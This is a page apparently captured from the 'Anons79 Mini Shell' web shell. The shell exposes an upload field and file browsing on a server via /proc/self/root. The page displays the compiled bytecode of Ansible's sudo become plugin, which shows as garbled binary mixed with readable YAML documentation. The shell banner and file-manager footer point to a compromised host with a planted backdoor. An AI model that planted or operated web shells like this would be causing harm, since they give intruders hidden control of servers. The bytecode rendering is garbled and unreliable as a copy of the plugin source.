Anons79 Mini Shell

Directory : /proc/self/root/lib/python2.7/site-packages/ansible/plugins/become/
Upload File :
Current File : //proc/self/root/lib/python2.7/site-packages/ansible/plugins/become/sudo.pyo

�
�Udac@`sRddlmZmZmZeZdZddlmZdefd��YZ	dS(i(tabsolute_importtdivisiontprint_functions0
    become: sudo
    short_description: Substitute User DO
    description:
        - This become plugins allows your remote/login user to execute commands as another user via the sudo utility.
    author: ansible (@core)
    version_added: "2.8"
    options:
        become_user:
            description: User you 'become' to execute the task
            default: root
            ini:
              - section: privilege_escalation
                key: become_user
              - section: sudo_become_plugin
                key: user
            vars:
              - name: ansible_become_user
              - name: ansible_sudo_user
            env:
              - name: ANSIBLE_BECOME_USER
              - name: ANSIBLE_SUDO_USER
        become_exe:
            description: Sudo executable
            default: sudo
            ini:
              - section: privilege_escalation
                key: become_exe
              - section: sudo_become_plugin
                key: executable
            vars:
              - name: ansible_become_exe
              - name: ansible_sudo_exe
            env:
              - name: ANSIBLE_BECOME_EXE
              - name: ANSIBLE_SUDO_EXE
        become_flags:
            description: Options to pass to sudo
            default: -H -S -n
            ini:
              - section: privilege_escalation
                key: become_flags
              - section: sudo_become_plugin
                key: flags
            vars:
              - name: ansible_become_flags
              - name: ansible_sudo_flags
            env:
              - name: ANSIBLE_BECOME_FLAGS
              - name: ANSIBLE_SUDO_FLAGS
        become_pass:
            description: Password to pass to sudo
            required: False
            vars:
              - name: ansible_become_password
              - name: ansible_become_pass
              - name: ansible_sudo_pass
            env:
              - name: ANSIBLE_BECOME_PASS
              - name: ANSIBLE_SUDO_PASS
            ini:
              - section: sudo_become_plugin
                key: password
(t
BecomeBasetBecomeModulecB`s#eZdZdZdZd�ZRS(tsudosSorry, try again.s)Sorry, a password is required to run sudossudo: a password is requiredcC`s�tt|�j||�|s#|S|jd�p8|j}|jd�pMd}d}|jd�r�d|j|_|r�|jdd�}nd|j}n|jd�p�d}|r�d	|}nd
j|||||j	||�g�S(Nt
become_exetbecome_flagsttbecome_passs$[sudo via ansible, key=%s] password:s-ns-p "%s"tbecome_users-u %st (
tsuperRtbuild_become_commandt
get_optiontnamet_idtprompttreplacetjoint_build_success_command(tselftcmdtshellt	becomecmdtflagsRtuser((s?/usr/lib/python2.7/site-packages/ansible/plugins/become/sudo.pyR
Ts
(sSorry, try again.(s)Sorry, a password is required to run sudossudo: a password is required(t__name__t
__module__RtfailtmissingR
(((s?/usr/lib/python2.7/site-packages/ansible/plugins/become/sudo.pyRLsN(
t
__future__RRRttypet
__metaclass__t
DOCUMENTATIONtansible.plugins.becomeRR(((s?/usr/lib/python2.7/site-packages/ansible/plugins/become/sudo.pyt<module>sA

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]